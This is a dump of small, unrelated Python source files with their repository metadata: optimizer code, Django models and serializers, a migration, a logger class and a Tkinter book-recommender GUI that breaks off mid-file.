RuntimeError('Ralamb does not support sparse gradients') p_data_fp32 = p.data.float() state = self.state[p] if len(state) == 0: state['step'] = 0 state['exp_avg'] = torch.zeros_like(p_data_fp32) state['exp_avg_sq'] = torch.zeros_like(p_data_fp32) else: state['exp_avg'] = state['exp_avg'].type_as(p_data_fp32) state['exp_avg_sq'] = state['exp_avg_sq'].type_as(p_data_fp32) exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] beta1, beta2 = group['betas'] # Decay the first and second moment running average coefficient # m_t exp_avg.mul_(beta1).add_(1 - beta1, grad) # v_t exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad) state['step'] += 1 buffered = self.buffer[int(state['step'] % 10)] if state['step'] == buffered[0]: N_sma, radam_step = buffered[1], buffered[2] else: buffered[0] = state['step'] beta2_t = beta2 ** state['step'] N_sma_max = 2 / (1 - beta2) - 1 N_sma = N_sma_max - 2 * state['step'] * beta2_t / (1 - beta2_t) buffered[1] = N_sma # more conservative since it's an approximated value if N_sma >= 5: radam_step = group['lr'] * math.sqrt((1 - beta2_t) * (N_sma - 4) / (N_sma_max - 4) * (N_sma - 2) / N_sma * N_sma_max / (N_sma_max - 2)) / (1 - beta1 ** state['step']) else: radam_step = group['lr'] / (1 - beta1 ** state['step']) buffered[2] = radam_step if group['weight_decay'] != 0: p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32) weight_norm = p.data.pow(2).sum().sqrt().clamp(0, 10) radam_norm = p_data_fp32.pow(2).sum().sqrt() if weight_norm == 0 or radam_norm == 0: trust_ratio = 1 else: trust_ratio = weight_norm / radam_norm state['weight_norm'] = weight_norm state['adam_norm'] = radam_norm state['trust_ratio'] = trust_ratio # more conservative since it's an approximated value if N_sma >= 5: denom = exp_avg_sq.sqrt().add_(group['eps']) p_data_fp32.addcdiv_(-radam_step * trust_ratio, exp_avg, denom) else: p_data_fp32.add_(-radam_step * trust_ratio, exp_avg) p.data.copy_(p_data_fp32) return loss
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19622a03f2f263de00fc373c499eec378a25ddc4
33
py
Python
authentication/redis_config.py
kate-melnykova/authentication
676e4b0adc6ae2fa654d8304db22e299b2935803
[ "MIT" ]
1
2020-03-29T00:26:34.000Z
2020-03-29T00:26:34.000Z
authentication/redis_config.py
kate-melnykova/authentication
676e4b0adc6ae2fa654d8304db22e299b2935803
[ "MIT" ]
1
2021-01-25T05:04:05.000Z
2021-01-25T05:04:05.000Z
authentication/redis_config.py
kate-melnykova/authentication
676e4b0adc6ae2fa654d8304db22e299b2935803
[ "MIT" ]
null
null
null
REDIS_URL='redis://redis:6379/0'
16.5
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4
19878dc96d759ec047ce71c18cf2161829beaac9
164
py
Python
Dataset/Leetcode/train/78/236.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
Dataset/Leetcode/train/78/236.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
Dataset/Leetcode/train/78/236.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
class Solution: def XXX(self, nums: List[int]) -> List[List[int]]: return [[nums[j] for j in range(len(nums)) if i&2**j] for i in range(2**len(nums))]
32.8
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4
1995dd69d7df0e8462bc5dc0fcb82defbec5f3a1
282
py
Python
h1st/core/ml_model.py
dcthang/h1st
8c26cece9caab1ecc0f194bbbcba3872122dc7b5
[ "Apache-2.0" ]
null
null
null
h1st/core/ml_model.py
dcthang/h1st
8c26cece9caab1ecc0f194bbbcba3872122dc7b5
[ "Apache-2.0" ]
null
null
null
h1st/core/ml_model.py
dcthang/h1st
8c26cece9caab1ecc0f194bbbcba3872122dc7b5
[ "Apache-2.0" ]
null
null
null
from typing import Any from h1st.core.model import Model class MLModel(Model): @property def base_model(self) -> Any: return getattr(self, "__base_model", None) @base_model.setter def base_model(self, value): setattr(self, "__base_model", value)
20.142857
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282
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4
27803fce278d1e5d9154d6a60a50ad49b2308c90
56
py
Python
tests/rps_tests.py
sColin16/gearbox_py
e9c8fb8a07c9342f15e0d0df0a746b6fb3de8dfc
[ "MIT" ]
null
null
null
tests/rps_tests.py
sColin16/gearbox_py
e9c8fb8a07c9342f15e0d0df0a746b6fb3de8dfc
[ "MIT" ]
null
null
null
tests/rps_tests.py
sColin16/gearbox_py
e9c8fb8a07c9342f15e0d0df0a746b6fb3de8dfc
[ "MIT" ]
null
null
null
"""Tests for the gearbox rock-paper-scissors module."""
28
55
0.732143
8
56
5.125
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56
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1
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4
2786d858099aaf9188c804348c69087d2b935727
31
py
Python
tools/Sikuli/OpenDialogClickFolderSelect.sikuli/OpenDialogClickFolderSelect.py
marmyshev/vanessa-automation
9f87bd6df58b4c205104d3ae8e3643752d67eef7
[ "BSD-3-Clause" ]
296
2018-05-27T08:03:14.000Z
2022-03-19T08:36:11.000Z
tools/Sikuli/OpenDialogClickFolderSelect.sikuli/OpenDialogClickFolderSelect.py
marmyshev/vanessa-automation
9f87bd6df58b4c205104d3ae8e3643752d67eef7
[ "BSD-3-Clause" ]
1,562
2018-05-27T18:36:25.000Z
2022-03-31T07:35:11.000Z
tools/Sikuli/OpenDialogClickFolderSelect.sikuli/OpenDialogClickFolderSelect.py
marmyshev/vanessa-automation
9f87bd6df58b4c205104d3ae8e3643752d67eef7
[ "BSD-3-Clause" ]
299
2018-06-18T20:00:56.000Z
2022-03-29T12:29:55.000Z
click("Bb60pnanxm.png") exit(0)
15.5
23
0.741935
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4.6
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2
24
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4
279021584581409e86221761577764024fe2571c
692
py
Python
project/migrations/0006_auto_20210910_1323.py
RawAnimal/esm
9a83a2580940f2efd642882cad46745a8d88c9ca
[ "MIT" ]
null
null
null
project/migrations/0006_auto_20210910_1323.py
RawAnimal/esm
9a83a2580940f2efd642882cad46745a8d88c9ca
[ "MIT" ]
null
null
null
project/migrations/0006_auto_20210910_1323.py
RawAnimal/esm
9a83a2580940f2efd642882cad46745a8d88c9ca
[ "MIT" ]
null
null
null
# Generated by Django 3.2.7 on 2021-09-10 17:23 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('project', '0005_auto_20210910_1320'), ] operations = [ migrations.RemoveField( model_name='project', name='principle_address1', ), migrations.RemoveField( model_name='project', name='principle_address2', ), migrations.RemoveField( model_name='project', name='principle_first_name', ), migrations.RemoveField( model_name='project', name='principle_last_name', ), ]
23.066667
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0.563584
62
692
6.080645
0.532258
0.222812
0.275862
0.318302
0.530504
0.530504
0.530504
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0.071274
0.330925
692
29
48
23.862069
0.742981
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4
27a122ad7d9c084346f6a674cf64a051f4942abf
436
py
Python
SCA11H/commands/system/GetMAC.py
ihutano/SCA11H
ee8a38ec9e47bc015851c20fa121651d2601cde0
[ "MIT" ]
null
null
null
SCA11H/commands/system/GetMAC.py
ihutano/SCA11H
ee8a38ec9e47bc015851c20fa121651d2601cde0
[ "MIT" ]
null
null
null
SCA11H/commands/system/GetMAC.py
ihutano/SCA11H
ee8a38ec9e47bc015851c20fa121651d2601cde0
[ "MIT" ]
null
null
null
from SCA11H.commands.base.GetCommand import GetCommand class GetMAC(GetCommand): """ Query Device MAC Address """ def __init__(self, **kwargs): super().__init__(endpoint='/sys/mac', **kwargs) def run(self, **kwargs) -> str: return super().run()['mac'] @staticmethod def get_parser_name(): return 'get-mac' @staticmethod def get_help(): return 'Query Device MAC Address'
21.8
55
0.623853
50
436
5.22
0.54
0.084291
0.10728
0.16092
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0.006006
0.236239
436
19
56
22.947368
0.777778
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0.333333
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0
0.083333
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0.75
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0
0
1
1
0
0
4
27d6afe34315585dfb05e167b90e088c8966c9f8
193
py
Python
Adapter/BritishSocket.py
aurora314156/Design-Pattern_python
f00982dd32b2b7ac3698b8a673c23d2f534aeefb
[ "MIT" ]
null
null
null
Adapter/BritishSocket.py
aurora314156/Design-Pattern_python
f00982dd32b2b7ac3698b8a673c23d2f534aeefb
[ "MIT" ]
null
null
null
Adapter/BritishSocket.py
aurora314156/Design-Pattern_python
f00982dd32b2b7ac3698b8a673c23d2f534aeefb
[ "MIT" ]
null
null
null
from SocketEntity import SocketEntity class BritishSocket: """ 英國標準 """ def name(self): return "英國標準插座" def socketInterface(self): return SocketEntity(3, "T字方型")
17.545455
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0.642487
19
193
6.526316
0.736842
0.16129
0
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0.253886
193
10
39
19.3
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false
0
0.166667
0.333333
1
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1
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null
0
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0
0
1
1
0
0
4
27fcda94503781fb5eaff6f85cd529430c1e66ea
386
py
Python
fba/loss/criterion/__init__.py
hukkelas/full_body_anonymization
c61745b137c84ffb742ef6ab2f4721db4acf22b7
[ "MIT" ]
27
2022-01-06T20:15:24.000Z
2022-03-29T11:54:49.000Z
fba/loss/criterion/__init__.py
hukkelas/full_body_anonymization
c61745b137c84ffb742ef6ab2f4721db4acf22b7
[ "MIT" ]
2
2022-03-17T06:04:23.000Z
2022-03-25T08:50:57.000Z
fba/loss/criterion/__init__.py
hukkelas/full_body_anonymization
c61745b137c84ffb742ef6ab2f4721db4acf22b7
[ "MIT" ]
2
2022-01-07T13:16:59.000Z
2022-01-16T02:10:50.000Z
from .build import build_criterion from .adversarial import wgan_d_loss, wgan_g_loss, nsgan_d_loss, nsgan_g_loss from .generator_criterions import discriminator_feature_matching_loss, masked_l1_loss, gaussian_kl_loss from .regularizer import improved_gradient_penalty, epsilon_penalty from .unet import oasis_d_loss, oasis_g_loss from .cse_regress import fpn_cse_d_loss, fpn_cse_g_loss
64.333333
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0.880829
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386
4.904762
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0
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0.082902
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0.870057
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true
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1
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1
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0
4
27fec4174c2a36678c242e0bd19106068e5fb494
3,301
py
Python
account/serializers.py
BattleJudge/ojBE
a56839a625f8947212021018d30d357713757555
[ "MIT" ]
2
2021-05-30T14:43:08.000Z
2021-05-30T15:18:48.000Z
account/serializers.py
BattleJudge/ojBE
a56839a625f8947212021018d30d357713757555
[ "MIT" ]
null
null
null
account/serializers.py
BattleJudge/ojBE
a56839a625f8947212021018d30d357713757555
[ "MIT" ]
null
null
null
from django import forms from rest_framework import serializers class UserRegisterSerializer(serializers.Serializer): username = serializers.CharField(required=True, min_length=6, max_length=150) password = serializers.CharField(required=True, min_length=6, max_length=150) nickname = serializers.CharField(required=True, min_length=6) email = serializers.EmailField(required=True) class UserLoginSerializer(serializers.Serializer): username = serializers.CharField(required=True, min_length=6, max_length=150) password = serializers.CharField(required=True, min_length=6, max_length=150) class ImageUploadForm(forms.Form): image = forms.FileField() class UserChangePasswordSerializer(serializers.Serializer): old_password = serializers.CharField(required=True, min_length=6, max_length=150) new_password = serializers.CharField(required=True, min_length=6, max_length=150) class GetUserResetPasswordTokenSerializer(serializers.Serializer): username = serializers.CharField(required=True, min_length=6, max_length=150) class UserResetPasswordSerializer(serializers.Serializer): username = serializers.CharField(required=True, min_length=6, max_length=150) token = serializers.CharField(required=True) new_password = serializers.CharField(required=True, min_length=6, max_length=150) class GetUserResetEmailTokenSerializer(serializers.Serializer): op_type = serializers.CharField(required=True) new_email = serializers.EmailField(required=True) class UserResetEmailSerializer(serializers.Serializer): new_email = serializers.EmailField(required=True) token = serializers.CharField(required=True) class UpdateUserProfleSerializer(serializers.Serializer): nickname = serializers.CharField(required=False, min_length=6) motto = serializers.CharField(required=False) class AdminManagerUserInfoSerializer(serializers.Serializer): id = serializers.IntegerField(source='user.id') username = serializers.CharField(source='user.username') nickname = serializers.CharField() email = serializers.EmailField(source='user.email') user_type = serializers.CharField(source='user.user_type') class AdminUpdateUserInfoSerializer(serializers.Serializer): username = serializers.CharField(required=True, min_length=6, max_length=150) nickname = serializers.CharField(required=True, min_length=6, max_length=150) password = serializers.CharField(required=False, min_length=6, max_length=150) email = serializers.EmailField(required=True) user_type = serializers.CharField(required=True) class AdminGetUserInfoByUsernameSerializer(serializers.Serializer): username = serializers.CharField(required=True, min_length=6, max_length=150) class AdminAddUserSerializer(serializers.Serializer): username = serializers.CharField(required=True, min_length=6, max_length=150) nickname = serializers.CharField(required=True, min_length=6, max_length=150) password = serializers.CharField(required=True, min_length=6, max_length=150) email = serializers.EmailField(required=True) user_type = serializers.CharField(required=True) class AdminDeleteUserSerializer(serializers.Serializer): username = serializers.CharField(required=True, min_length=6, max_length=150)
41.2625
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7.121212
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0.566731
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3,301
80
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41.2625
0.852542
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0.192308
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1
0
0
0
0
0
4
7e0e73286a5efc7f690febe24b9a29f748beee85
26
py
Python
neo/__init__.py
ddi-lab/generion-middleware
bdcb6a01c56e987f6eb1a3b5a35257ba6f777cdd
[ "MIT" ]
15
2018-02-27T13:07:00.000Z
2021-01-29T10:27:41.000Z
neo/__init__.py
ddi-lab/generion-middleware
bdcb6a01c56e987f6eb1a3b5a35257ba6f777cdd
[ "MIT" ]
null
null
null
neo/__init__.py
ddi-lab/generion-middleware
bdcb6a01c56e987f6eb1a3b5a35257ba6f777cdd
[ "MIT" ]
6
2018-07-13T05:00:44.000Z
2020-10-28T19:41:54.000Z
__version__ = '0.5.2-dev'
13
25
0.653846
5
26
2.6
1
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0.130435
0.115385
26
1
26
26
0.434783
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0
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0
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0
0
0
0
0
0
4
7e0faa57971568e71afaea96173bf5a2b9ece327
1,569
py
Python
marketgrab/models.py
colinmcglone/window-time
74ed90440b9bb93fa569534c7557972242569d3a
[ "MIT" ]
null
null
null
marketgrab/models.py
colinmcglone/window-time
74ed90440b9bb93fa569534c7557972242569d3a
[ "MIT" ]
null
null
null
marketgrab/models.py
colinmcglone/window-time
74ed90440b9bb93fa569534c7557972242569d3a
[ "MIT" ]
null
null
null
from __future__ import unicode_literals from django.db import models # Create your models here. class Data(models.Model): ticker = models.CharField(max_length=10) volume = models.DecimalField(max_digits=15, decimal_places=0) open_price = models.DecimalField(max_digits=10, decimal_places=2) high_price = models.DecimalField(max_digits=10, decimal_places=2) low_price = models.DecimalField(max_digits=10, decimal_places=2) close_price = models.DecimalField(max_digits=10, decimal_places=2) aclose_price = models.DecimalField(max_digits=10, decimal_places=2) date = models.DateField(editable=True, auto_now_add=False) def __str__(self): return self.ticker class MovingAvg(models.Model): ticker = models.CharField(max_length=10) date = models.DateField(editable=True, auto_now_add=False) price = models.DecimalField(max_digits=10, decimal_places=2) span = models.IntegerField() def __str__(self): return self.ticker class Movements(models.Model): ticker = models.CharField(max_length=10) date = models.DateField(editable=True, auto_now_add=False) price = models.DecimalField(max_digits=10, decimal_places=2) percent = models.FloatField() series = models.CharField(max_length=10) zvalue = models.FloatField() def __str__(self): return self.ticker class Sigma(models.Model): ticker = models.CharField(max_length=10) date = models.DateField(editable=True, auto_now_add=False) series = models.CharField(max_length=10) value = models.FloatField()
37.357143
71
0.743786
209
1,569
5.334928
0.263158
0.129148
0.150673
0.193722
0.761435
0.761435
0.704036
0.620628
0.582063
0.325561
0
0.027108
0.153601
1,569
41
72
38.268293
0.8125
0.015296
0
0.529412
0
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0
0
0
1
0.088235
false
0
0.058824
0.088235
1
0
0
0
0
null
0
0
1
0
1
1
0
0
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0
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0
0
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null
0
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0
0
0
0
0
0
0
1
0
0
4
fd85e2ac8f283fcfb355d84cb3ff3eaacba7cb6d
70
py
Python
src/test/data/pa3/AdditionalTestCase/UnitTest/strcat_two_NonEmptyString.py
Leo-Enrique-Wu/chocopy_compiler_code_generation
4606be0531b3de77411572aae98f73169f46b3b9
[ "BSD-2-Clause" ]
null
null
null
src/test/data/pa3/AdditionalTestCase/UnitTest/strcat_two_NonEmptyString.py
Leo-Enrique-Wu/chocopy_compiler_code_generation
4606be0531b3de77411572aae98f73169f46b3b9
[ "BSD-2-Clause" ]
null
null
null
src/test/data/pa3/AdditionalTestCase/UnitTest/strcat_two_NonEmptyString.py
Leo-Enrique-Wu/chocopy_compiler_code_generation
4606be0531b3de77411572aae98f73169f46b3b9
[ "BSD-2-Clause" ]
null
null
null
print("1234" + "5678") print("Hello" + "World") print("Elon" + "Musk")
23.333333
24
0.585714
9
70
4.555556
0.777778
0
0
0
0
0
0
0
0
0
0
0.129032
0.114286
70
3
25
23.333333
0.532258
0
0
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0
0
0.366197
0
0
0
0
0
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1
0
true
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1
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null
0
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0
0
0
1
0
0
0
0
1
0
4
fd9aeda1acb922b8ce537da9a7044953d7955e66
322
py
Python
coffeebar/logger.py
viktor-yakubiv/django-coffee
0a7d62a53db6af48fdc852fbb4dae43a0fc2b2ef
[ "MIT" ]
null
null
null
coffeebar/logger.py
viktor-yakubiv/django-coffee
0a7d62a53db6af48fdc852fbb4dae43a0fc2b2ef
[ "MIT" ]
null
null
null
coffeebar/logger.py
viktor-yakubiv/django-coffee
0a7d62a53db6af48fdc852fbb4dae43a0fc2b2ef
[ "MIT" ]
null
null
null
import logging class SafeLogger(object): instance = None def __new__(cls, *args, **kwargs): if not SafeLogger.instance is None: SafeLogger.instance = logging.getLogger(__name__) return SafeLogger.instance def __getattr__(self, item): return getattr(self.instance, item)
23
61
0.667702
35
322
5.8
0.6
0.26601
0
0
0
0
0
0
0
0
0
0
0.245342
322
13
62
24.769231
0.835391
0
0
0
0
0
0
0
0
0
0
0
0
1
0.222222
false
0
0.111111
0.111111
0.777778
0
0
0
0
null
1
0
0
0
0
0
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0
0
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0
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1
0
0
0
1
1
0
0
4
fdade67af9e98e4a1600b9b6d735b5b2eb3e89f3
22,574
py
Python
RecommenderSystem/Gui.py
RowanOmar/Recommender-System
60c8299610f4bc5ccc7254b1e05ed6228947118c
[ "MIT" ]
null
null
null
RecommenderSystem/Gui.py
RowanOmar/Recommender-System
60c8299610f4bc5ccc7254b1e05ed6228947118c
[ "MIT" ]
null
null
null
RecommenderSystem/Gui.py
RowanOmar/Recommender-System
60c8299610f4bc5ccc7254b1e05ed6228947118c
[ "MIT" ]
null
null
null
import tkinter as tk # python 3 from tkinter import font as tkfont # python 3 #import Tkinter as tk # python 2 #import tkFont as tkfont # python 2 from PIL import Image,ImageTk from Person import Person from Admin import Admin from Book import Book from FileManager import ReadBooks,CheckLogin,write,delete,read import DistanceManager global Gusername global Gpassw Gusername="" Gpassw="" class SampleApp(tk.Tk): def __init__(self, *args, **kwargs): tk.Tk.__init__(self, *args, **kwargs) self.title_font = tkfont.Font(family='Helvetica', size=18, weight="bold", slant="italic") # the container is where we'll stack a bunch of frames # on top of each other, then the one we want visible # will be raised above the others container = tk.Frame(self) container.pack(side="top", fill="both", expand=True) container.grid_rowconfigure(0, weight=1) container.grid_columnconfigure(0, weight=1) self.frames = {} for F in (StartPage, PageOne, PageTwo,PageThree,PageFour,PageFive,PageAdmin,PageAddBook,PageAddUser): page_name = F.__name__ frame = F(parent=container, controller=self) self.frames[page_name] = frame # put all of the pages in the same location; # the one on the top of the stacking order # will be the one that is visible. frame.grid(row=0, column=0, sticky="nsew") self.show_frame("StartPage") def show_frame(self, page_name): '''Show a frame for the given page name''' frame = self.frames[page_name] frame.tkraise() class StartPage(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller # image = Image.open("book.jpg") # photo = ImageTk.PhotoImage(image) # label = tk.Label(image=photo) # label.image = photo # keep a reference! # label.place(x=0, y=0, relwidth=1, relheight=1) helv36 = tkfont.Font(self,family='Helvetica', size=17, weight='bold') label = tk.Label(self, text="Recommender System", font=helv36) label.pack(side="top", fill="x", pady=10) button1 = tk.Button(self, text="Sign In", command=lambda: controller.show_frame("PageOne"),font=helv36) button2 = tk.Button(self, text="Sign Up", command=lambda: controller.show_frame("PageTwo"),font=helv36) button1.config(height=1, width=7) button2.config(height=1, width=7) button1.pack() button2.pack() class PageOne(tk.Frame): nameField=tk.Entry() PassField=tk.Entry() def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller helv36 = tkfont.Font(self,family='Helvetica', size=17, weight='bold') label = tk.Label(self, text="Sign In", font=helv36) label.pack(side="top", fill="x", pady=10) button = tk.Button(self, text="Back", command=lambda: controller.show_frame("StartPage"),font=helv36) button.place(x=10,y=10) button.config(height=1, width=7) nameLabel=tk.Label(self,text="Username: ",font=helv36) nameLabel.place(x=300,y=200) self.nameField= tk.Entry(self,text="Username") self.nameField.place(x=430, y=207) namePass=tk.Label(self,text="Password: ",font=helv36) namePass.place(x=300, y=250) self.PassField= tk.Entry(self,text="Password") self.PassField.place(x=430, y=257) submit = tk.Button(self, text="Sign In", command=self.on_button, font=helv36) submit.place(x=380, y=300) submit.config(height=1, width=7) ##PageFour def on_button(self): Gusername=self.nameField.get() Gpassw=self.PassField.get() print Gusername+"here" if Gusername=="Admin" and Gpassw=="1111": self.controller.show_frame("PageAdmin") else: check=CheckLogin(Gusername,Gpassw) if check==True: write(Gusername,"logged.txt") self.controller.show_frame("PageFour") else: msg = tk.messagebox.showerror("Error", "Invalid Username or password") class PageTwo(tk.Frame): nameField = tk.Entry() PassField = tk.Entry() unameField = tk.Entry() ageField = tk.Entry() salaryField = tk.Entry() v = tk.StringVar() v2 = tk.StringVar() def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller helv36 = tkfont.Font(self,family='Helvetica', size=17, weight='bold') label = tk.Label(self, text="Sign Up", font=helv36) label.pack(side="top", fill="x", pady=10) button = tk.Button(self, text="Back", command=lambda: controller.show_frame("StartPage"),font=helv36) button.place(x=10,y=10) button.config(height=1, width=7) unameLabel=tk.Label(self,text="Username:",font=helv36) unameLabel.place(x=300,y=100) self.unameField= tk.Entry(self,text="Username") self.unameField.place(x=430, y=107) namePass=tk.Label(self,text="Password: ",font=helv36) namePass.place(x=300, y=150) self.PassField= tk.Entry(self,text="Password") self.PassField.place(x=430, y=157) nameLabel=tk.Label(self,text="Name: ",font=helv36) nameLabel.place(x=300, y=200) self.nameField= tk.Entry(self,text="Name") self.nameField.place(x=430, y=207) ageLabel=tk.Label(self,text="Age: ",font=helv36) ageLabel.place(x=300, y=250) self.ageField= tk.Entry(self,text="Age") self.ageField.place(x=430, y=257) salaryLabel=tk.Label(self,text="Salary: ",font=helv36) salaryLabel.place(x=300, y=300) self.salaryField= tk.Entry(self,text="Salary") self.salaryField.place(x=430, y=307) self.v = tk.StringVar(self) GenderLabel=tk.Label(self,text="Gender: ",font=helv36) GenderLabel.place(x=300, y=350) rdMale=tk.Radiobutton(self, text="Male", padx=20, variable=self.v, value="M") rdMale.place(x=400,y=354) rdFemale=tk.Radiobutton(self, text="Female", padx=20, variable=self.v, value="F") rdFemale.place(x=480,y=354) CreditLabel=tk.Label(self,text="Do you have a credit card? ",font=helv36) CreditLabel.place(x=300, y=400) self.v2 = tk.StringVar(self) rdYes=tk.Radiobutton(self, text="Yes", padx=20, variable=self.v2, value="Y") rdYes.place(x=350,y=450) rdNo=tk.Radiobutton(self, text="No", padx=20, variable=self.v2, value="N") rdNo.place(x=430,y=450) submit = tk.Button(self, text="Sign Up", command=self.on_button,font=helv36) submit.place(x=380,y=500) submit.config(height=1, width=7) def on_button(self): usernamee =self.unameField.get() password=self.PassField.get() name=self.nameField.get() age=self.ageField.get() salary=self.salaryField.get() gender=self.v.get() credit=self.v2.get() person = Person(usernamee, password, name, age, salary, gender, credit) person.Register(person) print(gender) class PageThree(tk.Frame): v = tk.IntVar() variable = tk.StringVar() def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller helv36 = tkfont.Font(self,family='Helvetica', size=17, weight='bold') label = tk.Label(self, text="", font=helv36) label.pack(side="top", fill="x", pady=10) button = tk.Button(self, text="Back", command=lambda: controller.show_frame("PageFour"),font=helv36) button.place(x=10,y=10) button.config(height=1, width=7) bookLabel = tk.Label(self, text="Book", font=helv36) bookLabel.place(x=200, y=100) books=ReadBooks() OPTIONS=[] for x in books: OPTIONS.append(str(x)) self.variable = tk.StringVar(self) self.variable.set(OPTIONS[0]) # default value w = apply(tk.OptionMenu, (self, self.variable) +tuple(OPTIONS)) w.place(x=300,y=100) self.v=tk.IntVar(self) rd0= tk.Radiobutton(self, text="0", padx=20, variable=self.v, value=0) rd0.place(x=400, y=104) rd1 = tk.Radiobutton(self, text="1", padx=20, variable=self.v, value=1) rd1.place(x=480, y=104) rd2 = tk.Radiobutton(self, text="2", padx=20, variable=self.v, value=2) rd2.place(x=560, y=104) rd3 = tk.Radiobutton(self, text="3", padx=20, variable=self.v, value=3) rd3.place(x=630, y=104) rd4 = tk.Radiobutton(self, text="4", padx=20, variable=self.v, value=4) rd4.place(x=710, y=104) rd5 = tk.Radiobutton(self, text="5", padx=20, variable=self.v, value=5) rd5.place(x=790, y=104) ratebutton = tk.Button(self, text="Rate", command=self.on_button,font=helv36) ratebutton.place(x=635,y=150) ratebutton.config(height=1, width=7) def on_button(self): title=str(self.variable.get()) rate=self.v.get() book=Book(title,rate) name=read("logged.txt") value=str(name[0]) person=Person("","",value,0,0,' ',' ') person.RateBook(book,rate) class PageFour(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller # image = Image.open("book.jpg") # photo = ImageTk.PhotoImage(image) # label = tk.Label(image=photo) # label.image = photo # keep a reference! # label.place(x=0, y=0, relwidth=1, relheight=1) helv36 = tkfont.Font(self,family='Helvetica', size=17, weight='bold') button = tk.Button(self, text="Logout", command=self.logout,font=helv36) button.place(x=890,y=10) button.config(height=1, width=7) # name=read("logged.txt") label = tk.Label(self, text="Welcome", font=controller.title_font) label.pack(side="top", pady=10) button1 = tk.Button(self, text="Rate Book", command=lambda: controller.show_frame("PageThree"),font=helv36) button2 = tk.Button(self, text="Find Nearest", command=lambda: controller.show_frame("PageFive"),font=helv36) button1.config(height=1, width=10) button2.config(height=1, width=10) button1.pack() button2.pack() def logout(self): delete("logged.txt") self.controller.show_frame("StartPage") class PageFive(tk.Frame): v=tk.IntVar() variable=tk.StringVar() kField=tk.Entry() resultData=tk.Label() def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller # image = Image.open("book.jpg") # photo = ImageTk.PhotoImage(image) # label = tk.Label(image=photo) # label.image = photo # keep a reference! # label.place(x=0, y=0, relwidth=1, relheight=1) helv36 = tkfont.Font(self,family='Helvetica', size=17, weight='bold') button = tk.Button(self, text="Back", command=lambda: controller.show_frame("PageFour"),font=helv36) button.place(x=10,y=10) button.config(height=1, width=7) label = tk.Label(self, text="Find Nearest", font=controller.title_font) label.pack(side="top", pady=10) crLabel = tk.Label(self, text="Criteria", font=helv36) crLabel.place(x=230, y=100) self.v = tk.IntVar(self) rd1 = tk.Radiobutton(self, text="Personal Information", padx=20, variable=self.v, value=1) rd1.place(x=360, y=104) rd2 = tk.Radiobutton(self, text="Book", padx=20, variable=self.v, value=2) rd2.place(x=520, y=104) methodLabel = tk.Label(self, text="Method", font=helv36) methodLabel.place(x=230, y=150) self.variable = tk.StringVar(self) self.variable.set("Manhatten") w = tk.OptionMenu(self, self.variable, "Manhatten", "Ecludian", "Cosin similarity") w.place(x=380,y=150) kLabel = tk.Label(self, text="K value", font=helv36) kLabel.place(x=230, y=200) self.kField= tk.Entry(self,text="k") self.kField.place(x=380, y=207) button = tk.Button(self, text="Find", command=self.on_button,font=helv36) button.place(x=635,y=150) button.config(height=1, width=7) resultLabel = tk.Label(self, text="Result", font=helv36) resultLabel.place(x=230, y=250) self.resultData = tk.Label(self, text="", font=helv36) self.resultData.place(x=230, y=300) self.resultData.config(height=10, width=50) def on_button(self): result="" cr=int(self.v.get()) method=self.variable.get() k=int(self.kField.get()) if cr==1: if method=="Manhatten": rresult=DistanceManager.Calculate_ManhattanDistance(k,cr) for x in range(len(rresult)): result+="Name: "+str(rresult[x][0])+" "+"Distance: "+str(rresult[x][1]+"\n") if method == "Ecludian": rresult=DistanceManager.Calculate_EcludienDistance(k,cr) for x in range(len(rresult)): result+="Name: "+str(rresult[x][0])+" "+"Distance: "+str(rresult[x][1]+"\n") if method == "Cosin similarity": rresult=DistanceManager.Calculate_CousineDistance(k,cr) for x in range(len(rresult)): result+="Name: "+str(rresult[x][0])+" "+"Distance: "+str(rresult[x][1]+"\n") self.resultData.configure(text=result) if cr==2: if method=="Manhatten": rresult=DistanceManager.Calculate_ManhattanDistance(k,cr) result="Rate: "+" "+str(rresult[0])+" "+str(rresult[1]) if method == "Ecludian": rresult=DistanceManager.Calculate_EcludienDistance(k,cr) result="Rate: "+" "+str(rresult[0])+" "+str(rresult[1]) if method == "Cosin similarity": rresult=DistanceManager.Calculate_CousineDistance(k,cr) result="Rate: "+" "+str(rresult[0])+" "+str(rresult[1]) self.resultData.configure(text=result) class PageAdmin(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller # image = Image.open("book.jpg") # photo = ImageTk.PhotoImage(image) # label = tk.Label(image=photo) # label.image = photo # keep a reference! # label.place(x=0, y=0, relwidth=1, relheight=1) helv36 = tkfont.Font(self,family='Helvetica', size=17, weight='bold') button = tk.Button(self, text="Logout", command=lambda: controller.show_frame("StartPage"),font=helv36) button.place(x=890,y=10) button.config(height=1, width=7) label = tk.Label(self, text="Welcome Admin", font=controller.title_font) label.pack(side="top", pady=10) button1 = tk.Button(self, text="Add Book", command=lambda: controller.show_frame("PageAddBook"),font=helv36) button2 = tk.Button(self, text="Add User", command=lambda: controller.show_frame("PageAddUser"),font=helv36) button1.config(height=1, width=10) button2.config(height=1, width=10) button1.pack() button2.pack() class PageAddBook(tk.Frame): titleField=tk.Entry(); def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller # image = Image.open("book.jpg") # photo = ImageTk.PhotoImage(image) # label = tk.Label(image=photo) # label.image = photo # keep a reference! # label.place(x=0, y=0, relwidth=1, relheight=1) helv36 = tkfont.Font(self,family='Helvetica', size=17, weight='bold') button = tk.Button(self, text="Back", command=lambda: controller.show_frame("PageAdmin"),font=helv36) button.place(x=10,y=10) button.config(height=1, width=7) label = tk.Label(self, text="New Book", font=controller.title_font) label.pack(side="top", pady=10) titlelabel = tk.Label(self, text="Book Title", font=controller.title_font) 